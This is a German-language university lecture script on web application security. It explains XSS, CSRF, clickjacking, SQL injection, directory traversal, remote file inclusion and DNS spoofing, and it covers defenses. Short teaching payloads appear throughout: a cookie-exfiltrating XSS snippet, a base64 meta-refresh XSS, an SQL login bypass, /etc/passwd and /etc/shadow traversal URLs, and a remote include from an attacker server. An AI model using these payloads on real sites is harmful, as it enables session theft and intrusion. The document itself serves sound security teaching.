Webtechnologien Wintersemester 2024

Sicherheit von Webanwendungen

Websicherheit ist ein enorm interessantes Gebiet und sollte ernster genommen werden. Denn schlechte Websicherheit führt zu all den Problemen, die uns den Spaß am Web verderben: Spam, Viren, Identitätsdiebstahl und so weiter.

Und es ist ein komplexes Thema. Angriffe sind häufig Kombinationen verschiedener Schwachstellen. Und fast immer auf menschliche Fehler zurückzuführen. Nachlässige Programmierer, viel zu schwache Passwörter, Tutorials, die einen etwas in 5min machen lassen.

Denn wenn es zu einfach klingt, ist es das häufig auch.

Ihr werdet in dieser Vorlesung nicht zu Sicherheitsexperten. Ich werdet euch wahrscheinlich nicht mal alles merken können. Das ist in Ordnung, denn es geht mehr darum, Bewusstsein zu schaffen und euch die Fallgruben zu zeigen, damit ihr später vielleicht mal denkt: Ach, da war doch was.

Technologische Grundlagen

  1. HTTP, URL, DNS
  2. PHP
  3. HTML, CSS
  4. JavaScript

JavaScript

  • Same Origin Policy
  • Cookies lesen (und damit auch weitergeben)
  • Inhalte der Seite hinzufügen, entfernen, ändern
  • Downloads starten
  • Aktionen ausführen, als kämen sie vom Benutzer und unsichtbare Kommunikation

Häufige Sicherheitsprobleme

  • Validierung von Ein- und Ausgabedaten
  • Validation of input and output data
    • Validierung des Typs (int, bool), der Größe (max. 42 Zeichen, 5MB), der Syntax (IP: Zahl, Punkt, Zahl) und Geschäftsregeln (keine Abbuchung über 10.000€)
    • Alle anzuzeigenden Daten müssen sicher anzuzeigen sein (XSS)
  • Direkter Datenzugriff und -diebstahl
    • Wenn Daten existieren, können sie auch angezeigt oder ausgelesen werden (Facebook-Bilder-Bug (Zuckerbergs Tiere), Flickr-Private-Photos-Bug, Google-Suche nach Dropbox-Public-Folder: site:dropbox.com/gallery)
  • Data Poisoning
    • http://en.wikipedia.org/wiki/Session_poisoning
    • Session Poisoning: http://seclists.org/bugtraq/2005/Sep/193
    • Nachrichtenmanipulation: http://en.wikipedia.org/wiki/Emulex_hoax (08.2000; -60%, -2 Mrd. USD, Nasdaq halted; 9:30 -3h = 6:30)
  • Malicious file execution
    • PHP-Datei uploaden, ansteuern, Profit (Bsp: SNN)
  • Authentifizierung und Autorisierung
    • Verifizierung der Identität (→ Cookie-Diebstahl)
    • Zugriffsrechte
  • Phishing (Bsp: SNN)
    • Vortäuschen anderer Identität (Emails, Websites, URLs)
    • Bewusstsein zu schaffen ist beste Abwehr (Mail: wir werden NIE nach ihrem Passwort fragen), aber auch Designaspekte und Ansprache des Nutzers
  • Fehlerbehandlung
    • Fehlernachrichten können Informationen zu Benutzern oder Konfigurationen geben (PHP, .NET)

Konkrete Angriffsmethoden

Vulnerabilities

Quelle: CENZIC

Client

Session Hijacking

  • Diebstahl identifizierender Daten
  • HTTP zustandslos, daher andere Techniken nötig
  • Session-IDs, IP, Cookies
     http://onlineshop.de/index.php?session=9970ac048cb8b
    
  • Angriffe
    • Vorhersagbare Token
    • Sniffing
    • Clientseitige Angriffe
    • Man-in-the-middle / -browser

Man-In-The-Middle / -Browser

  • Angriff, bei dem Inhalte von Websites verändert werden
  • Beispiel: Veränderung von Überweisungsdaten im Browser

Man-in-the-middle attack

Quelle: Wikipedia

Durch Trojaner oder Scripte (Bsp: Erdinger-Weißbier-Werbung + Japaner / Überweisungen)

Cross-Site Scripting (XSS)

  • Einschleusen bösartiger Skripte in sonst vertrauenswürdige Seiten
  • Angriff möglich durch mangelnde Überprüfung von Benutzereingaben
  • Stored / Reflected
  • Kann zum Herausschleusen von Informationen genutzt werden
  • Beispiel: Samy auf MySpace
  • Abwehr: Daten immer escapen (& → &)
  • Abwehr: Content Security Policy
  • Cross-Site-Scripting über DNS-Records

  • Sniffing (siehe Code)
  • Protokoll-Manipulation (https -> http)
  • Stored: Wird auf dem Server gespeichert
  • Reflected: Gibt übergebene Werte wieder

  • Bsp: Sammy, in 20h >1 Mio User, schnellster jemals
  • Bsp: Cookie Bombs: http://homakov.blogspot.de/2014/01/cookie-bomb-or-lets-break-internet.html
  • Bsp: Wordpress, XSS in Kommentarfeldern, Anlegen neuer Benutzer, Ändern von PHP-Code etc (über 40 Millionen (selbst gehostete) WP-Installationen, davon 80% angreifbar auf v3.x)
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

→ Content Security Policy in HTTP-Header

Cross-Site Scripting (XSS)

var img = document.createElement('img');
img.src = 'keksdose.php?cookie=' + btoa(document.cookie);
document.body.appendChild(img);

Beispiel

  • Payload kann zusäztlich Base64-kodiert werden

Content Spoofing

  • Einschleusen fremder Inhalte in eine an sich vertrauenswürdige Seite
  • Angriff möglich durch mangelnde Überprüfung von Eingaben
  • Ähnelt Cross-Site Scripting
  • Häufig im Zusammenhang mit Social Engineering
<?php $name = $_REQUEST['name']; ?>
<html> Hello, <?= $name; ?>! </html>

Beispiel (Code)

  • Häufig im Zusammenhang mit Social Engineering → Ausnutzen des Vertrauen des Nutzers

Cross-Site Request Forgery

  • Führt eine Aktion im Namen des Nutzers samt all seiner Rechte aus
  • Auth per Cookie (werden aber immer mitgeschickt)
  • Angriff erfolgt über das Einbinden einer externen Ressource
  • POST ist auch keine Lösung
  • Abwehr
    • Origin-Header, CAPTCHA, Re-Auth, Token
    • Nur POST verwenden (weil GET einfacher, siehe <img>)
<img src="http://blog.de/admin/delete.php?id=1">
  • Häufig in Kombination mit Social Engineering

Clickjacking

Clickjacking

  • Unsichtbares Element mit Link über sichtbaren Link legen
  • Klickt Benutzer auf sichtbaren Link, wird der unsichtbare aktiviert
  • Benutzt für Spaß, Werbebanner, Facebook-Likes etc.

Quelle: Smashing Magazine

  • Abwehr: Gucken, ob body oberste Ebene ist, X-Frame-Options: DENY-HTTP-Header
  • window.confirm()
  • Twitter: http://dsandler.org/wp/archives/2009/02/12/dontclick
  • Zugriff auf Webcam über Flash-Element (geht nicht mehr)
  • Don’t Click-Wurm auf Twitter
  • Klicken von Werbebannern
  • Ungewollte Facebook-Likes

Clickjacking – Abwehr

<!-- From http://www.ft.com/ -->
<style id="antiClickjack"> body { display: none !important; } </style>
<script type="text/javascript">
   if (self === top) {
      var antiClickjack = document.getElementById("antiClickjack");
      antiClickjack.parentNode.removeChild(antiClickjack);
   } else {
      top.location = self.location;
   }
</script>

History Diebstahl

wife discovers browser history - ca 1586

wife discovers browser history (ca 1586)

History Diebstahl

Google-Trefferliste

History Diebstahl

  • Unsichtbarer Bereich wird mit Millionen Links gefüllt
  • Diese haben alle eine eindeutige ID (z.B. die URL)
  • Per CSS wird für jede ID die Pseudo-Klasse :visited definiert.
  • Diese bindet ein Hintergrundbild mit der URL ein
  • Der Browser prüft, ob diese Links besucht wurden und lädt nun gegebenfalls das Bild nach

Server

SQL Injection

  • Einschleusen von SQL-Code
  • Angriff möglich durch mangelnde Überprüfung von Benutzereingaben

Bobby Tables

Quelle: XKCD

  1. Benutzer sendet eingegebene Daten ab
  2. Server verarbeitet Daten und führt einen Datenbankabfrage aus
    • Angriffsziele:
    • Logins (Jemand anderes sein)
    • Suchen (Herausschleusen von Daten)

SQL Injection

SELECT * FROM users WHERE name = '$user' AND pwd = '$pwd'

// name = Alf, pwd = katze
SELECT * FROM users WHERE name = 'Alf' AND pwd = 'katze'

// name = x' OR 1=1;#
SELECT * FROM users WHERE name = 'x' OR 1=1;#' AND pwd = '';

Beispiel

E-Mail-Injection

  • Verschicken von E-Mails über ein ungeschütztes Kontaktformular
  • Wird zum Versenden von Spam benutzt
  • Angriff: Einschleusen zusätzlicher Header-Informationen (CC / BCC)
  • Angriff möglich durch mangelnde Überprüfung von Benutzereingaben

Open Redirect

  • Weiterleitungs-Anwendung kann für bösartige Links benutzt werden
  • Angriff möglich durch mangelnde Überprüfung von Benutzereingaben
  • Häufig benutzt bei Phishing
  • Beispiel http://www.normal.de?redirect=http://boese.com

Directory Traversal

Ebay

  • Versuch, durch Manipulation von Pfadangaben auf beliebige Verzeichnisse oder Dateien zuzugreifen
http://some_site.com/../../../../etc/shadow
http://some_site.com/get-files?file=/etc/passwd

Quelle: xssed.com

  • /site=admin

Remote Code Execution

  • Ausführen eigener Kommandos / Code auf einer fremden Maschine
  • Angriffe
    • Einbinden / Hochladen bösartiger Dateien
    • Ausnutzen von Programmierfehlern
  • Beispiel aus phpBB:
     include_once ($phpbb_root_path . 'common.php');
    
  • Angriff:
     forum.de/plugin.php&phpbb_root_path=http://meinServer.de/
    
  • http://php.net/manual/en/security.filesystem.nullbytes.php
  • image.php?image=http://evil_scripts

Information Disclosure

  • Preisgabe interner Informationen

Default ASP.NET Error

  • Passiert meist bei Fehlermeldungen
  • Bsp: falscher Benutzer / falsches Passwort

Information Disclosure

DKB

Information Disclosure

Putlockers

Information Disclosure

The FBI claims to have found the server’s location without the NSA’s help, simply by fiddling with the Silk Road’s login page until it leaked its true location.

The FBI Finally Says How It ‘Legally’ Pinpointed Silk Road’s Server

Google-Suche nach Config-Dateien

  • Im Mai 2014 schrieb Wired zur Verhaftung des mutmaßlichen Silk-Road-Gründers Ross Ulbricht.

DNS Spoofing

  • Angriff auf das Domain Name System
  • Versucht, unbemerkt Domains andere IPs zuzuordnen
  • Wird meist für Phishing genutzt … oder von Providern / Staaten
  • Gegenmaßnahme: DNSSEC (anym. crypt. sign.)

Banking: Fake-Login Site mit Aufforderung der Eingabe von PIN x, wobei im Hintergrund auf der echten Seite eine Überweisung mit Pin x durchgeführt wird

  1. Ein Angreifer bringt den Nameserver XX unter seine Kontrolle. Er manipuliert diesen derart, dass jedes Mal, wenn nach einem Namen aus der Domain example.com gefragt wird, ungefragt der gefälschte Record de.wikipedia.org 192.0.2.1 mitgeliefert wird.
  2. Der öffentliche Nameserver YY möchte den Namen test.example.com auflösen. Er sendet eine entsprechende Anfrage an den zuständigen (vom Angreifer kontrollierten) Nameserver XX. Dieser manipulierte Nameserver antwortet mit der korrekten IP-Adresse, liefert aber zusätzlich den gefälschten Record de.wikipedia.org 192.0.2.1 mit. Dieser wird vom anfragenden Server YY ungeprüft in den Cache übernommen.
  3. Zu einem späteren Zeitpunkt versucht ein User, den Namen de.wikipedia.org aufzulösen und wendet sich an den öffentlichen Nameserver YY. Der Nameserver findet den (gefälschten) Record in seinem Cache und sendet dem User gutgläubig die IP-Adresse 192.0.2.1 zurück.
  4. Der User möchte auf de.wikipedia.org zugreifen, wird aber – für ihn nicht erkennbar – auf eine falsche Web-Seite mit der IP-Adresse 192.0.2.1 geleitet.

2007 sperrte Arcor viele Porn-Inhalte per DNS–Änderung.

Umgang mit …

Umgang mit manipulierten Daten

  • Verarbeitung stoppen und oder Umleitung zur Startseite
  • Hinweis auf Angriffsverdacht
  • Session / Nutzer sperren
  • Vortäuschen eines korrekten Ablaufs, intern aber stoppen. (Unsichtbare Schreibmaschine von Chief Wiggum)
  • Bereinigung der Daten und normal weiter

Umgang mit Cookies

  • Spezielle Flags beim Setzen eines Cookies
  • secure: Werden nur bei sicherer Verbindung (HTTPS) übertragen
  • HttpOnly: Können nicht per JavaScript gelesen oder bearbeitet werden (document.cookie)

Umgang mit SessionIDs

  • Nicht aufgrund externer Daten, (sID = name + IP) sondern immer zufällig generieren
  • Lang genug für Brute Force
  • Nur über HTTPS, nie unverschlüsselt
  • Ablaufdatum
  • Zusätzlich können weitere Daten an die SessionID gebunden werden, beispielsweise IP, UA, (installierte Plugins und Fonts, Farbtiefe des Monitors)
  • Dialogtracking – Session wird mit jeder Anfrage neu generiert (recht sicher, aber anstrengend)

Pressespiegel